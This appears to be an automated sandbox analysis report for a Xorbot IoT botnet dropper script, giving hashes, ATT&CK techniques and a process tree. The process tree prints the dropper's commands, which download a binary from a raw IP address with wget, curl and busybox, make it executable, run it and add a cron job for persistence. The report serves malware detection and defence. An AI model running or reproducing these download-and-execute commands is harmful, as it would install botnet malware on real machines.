xorbot | 9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-12-2024 20:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

62abe0c6af45fcf3edaaa84cce6a0f92
SHA1

cb4406c75643402b38f5a45e3149b9e44ed0969b
SHA256

9a173a8b658d6508f3c3962b85a500820a041f7000f4315a79fa2196a4c5570f
SHA512

4051c2c6e2bec3080062166847a642f5cfb6ae726fc7c23c6454ea0445e006ad92b4ee628f960a53f9145c7f9d4f46f36101218054988ec315766df5aec608b7
SSDEEP

192:iK+m/fiFKpR5wsYdPYpfXh0AYRfXh0AxpR5wsNK+m/fIK:GKpR5wsYdPYARpR5wsY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1492	chmod

Executes dropped EXE 1 IoCs

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

ioc	pid	Process
/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	1493	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Renames itself 1 IoCs

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

pid	Process
1494	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.HAIBvA	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

description	ioc	Process
File opened for reading	/proc/1108/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1536/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1629/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/24/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/459/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1144/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1244/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1519/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1556/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1539/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/34/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/166/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/473/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/949/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1167/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1301/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/9/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/709/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1286/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1624/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/32/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1469/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1527/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1538/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1278/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1615/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1619/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1607/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1613/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/8/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/26/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1057/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1177/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1179/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1187/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1616/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/19/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1559/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/82/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/624/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1609/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1628/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1621/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/6/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/155/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1076/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1139/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1518/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1533/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/656/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/17/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/25/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/98/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/157/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/444/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/479/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/15/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/31/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/89/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1551/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/170/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/451/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1580/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
File opened for reading	/proc/1583/cmdline	tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	wget
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	curl
File opened for modification	/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1477
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  ./tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1493
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1496
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1497
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1498
- /bin/rm
  rm tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://216.126.231.240/bins/DBaGIJP4NBCiyqt8s6ZUhb7RS4zFOfSlSt
  2⤵
  PID:1511

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/tsuGb2RmegybFjtAKmgAFa3WC6n4jBgYCQ

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.HAIBvA

Filesize
210B

MD5
381a78c09f1aa1e949cae91c74e0f425

SHA1
de79b6f43f6572692845b39e9ca8c6dccfad7fef

SHA256
6b3ebed6ab203e3648b695c2d0103537847df6cb00aced9c4fa69f483fc6e801

SHA512
8f00988471109d30c4397bd418bd12e6cc6b08845126da25e694fe41808fb0c5d6bbb45ce6a34d6e7020a9f620f8e2089595c7d5b993288730403a22c59ed443

Download Submit